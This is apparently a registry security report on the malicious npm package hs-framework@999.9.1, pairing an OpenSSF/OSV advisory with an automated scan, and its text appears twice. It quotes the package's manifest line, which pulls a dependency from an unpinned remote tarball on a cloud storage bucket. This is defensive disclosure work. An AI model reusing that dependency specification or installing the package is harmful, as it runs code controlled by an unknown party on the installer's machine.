registry / Malware / hs-framework / 999.9.1

hs-framework@999.9.1

lsp.o.cc

OpenSSF/OSV Malicious Advisory

imported 4d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18434 confirms this npm version as malicious.

Advisory

MAL-2026-18434

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in hs-framework (npm)

Details

package.json declares its sole dependency `ltidisafe` as a direct HTTPS tarball URL (https://storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz) instead of a registry version range. On `npm install`, npm fetches whatever bytes are currently at that URL and installs them into the dependency tree, running any lifecycle scripts the fetched tarball contains, with no version pin and no integrity hash. Whoever controls the bucket controls code that executes on the installer's machine, and the bytes can change at any time without any change to this package. The shipped source is a one-line stub, so the manifest line is the entire published surface of the package. The bucket path segment `lscunpentest` is also consistent with penetration-testing / unauthorized-testing framing.

References

OpenSSF/OSV advisory PACKAGE PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

The available source shows no malicious behavior, but the package installs a dependency from an external tarball whose contents are unavailable, leaving its behavior unresolved. This warrants a warning rather than a block.

Static reason

One or more suspicious static signals were detected.

Trigger

Dependency installation may fetch and install the tarball; behavior within it is unavailable for review.

Impact

The dependency's install-time or runtime behavior cannot be assessed, so harmful behavior cannot be confirmed or ruled out.

Mechanism

package.json references a dependency hosted at storage.googleapis.com, but this snapshot does not include readable dependency source.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

storage.googleapis.com

Independent scan evidence

public snapshot

AI called this Suspicious at 72.0% confidence as Unknown with medium false-positive risk.

Evidence for AI warning decision

package.json declares ltidisafe as a dependency fetched from a Google Cloud Storage tarball URL.
The tarball dependency's source is unavailable in this snapshot, so its install and runtime behavior cannot be established.

Evidence against

The manifest has no install lifecycle hook; its only script is a placeholder test command.
index.js only logs a message when imported.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 38 B of source

Source & flagged code

3 flagged

package.jsonView file

11"dependencies": { "ltidisafe": "https://storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz" }, "keyw

High

Suspicious Dependency Evidence

package.json declares ltidisafe as a dependency fetched from a Google Cloud Storage tarball URL.

package.jsonView on unpkg · L11

•Remote tarball dependency specs: ltidisafe@https://storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

index.jsView file

1console.log("hello from lslslslslss");

High

Suspicious Dependency Evidence

The tarball dependency's source is unavailable in this snapshot, so its install and runtime behavior cannot be established.

index.jsView on unpkg · L1

Findings

2 High1 Medium2 Low

HighSuspicious Dependency Evidencepackage.json

HighSuspicious Dependency Evidenceindex.js

MediumRemote Tarball Dependencypackage.json

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to hs-framework@999.9.1.

See all versions of hs-framework for other recorded verdicts.

Avoid installing hs-framework@999.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-01 09:32:40.848Z (UTC).

Source advisory published: 2026-11-01 08:01:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

registry / Malware / hs-framework / 999.9.1

hs-framework@999.9.1

lsp.o.cc

OpenSSF/OSV Malicious Advisory

imported 4d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-18434 confirms this npm version as malicious.

Advisory

MAL-2026-18434

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in hs-framework (npm)

Details

References

OpenSSF/OSV advisory PACKAGE PACKAGE

Independent LPM AI assessment

Suspicious

Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.

Static reason

One or more suspicious static signals were detected.

Trigger

Dependency installation may fetch and install the tarball; behavior within it is unavailable for review.

Impact

The dependency's install-time or runtime behavior cannot be assessed, so harmful behavior cannot be confirmed or ruled out.

Mechanism

package.json references a dependency hosted at storage.googleapis.com, but this snapshot does not include readable dependency source.

AI rationale

Evidence

package.jsonindex.js

Network endpoints1

storage.googleapis.com

Independent scan evidence

public snapshot

AI called this Suspicious at 72.0% confidence as Unknown with medium false-positive risk.

Evidence for AI warning decision

package.json declares ltidisafe as a dependency fetched from a Google Cloud Storage tarball URL.
The tarball dependency's source is unavailable in this snapshot, so its install and runtime behavior cannot be established.

Evidence against

The manifest has no install lifecycle hook; its only script is a placeholder test command.
index.js only logs a message when imported.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 38 B of source

Source & flagged code

3 flagged

package.jsonView file

11"dependencies": { "ltidisafe": "https://storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz" }, "keyw

High

Suspicious Dependency Evidence

package.json declares ltidisafe as a dependency fetched from a Google Cloud Storage tarball URL.

package.jsonView on unpkg · L11

•Remote tarball dependency specs: ltidisafe@https://storage.googleapis.com/lscunpentest/pack_ux_foundry.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

index.jsView file

1console.log("hello from lslslslslss");

High

Suspicious Dependency Evidence

The tarball dependency's source is unavailable in this snapshot, so its install and runtime behavior cannot be established.

index.jsView on unpkg · L1

Findings

2 High1 Medium2 Low

HighSuspicious Dependency Evidencepackage.json

HighSuspicious Dependency Evidenceindex.js

MediumRemote Tarball Dependencypackage.json

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to hs-framework@999.9.1.

See all versions of hs-framework for other recorded verdicts.

Avoid installing hs-framework@999.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-01 09:32:40.848Z (UTC).

Source advisory published: 2026-11-01 08:01:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Findings

Affected versions and remediation

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other malware packages

Related packages

Other malware packages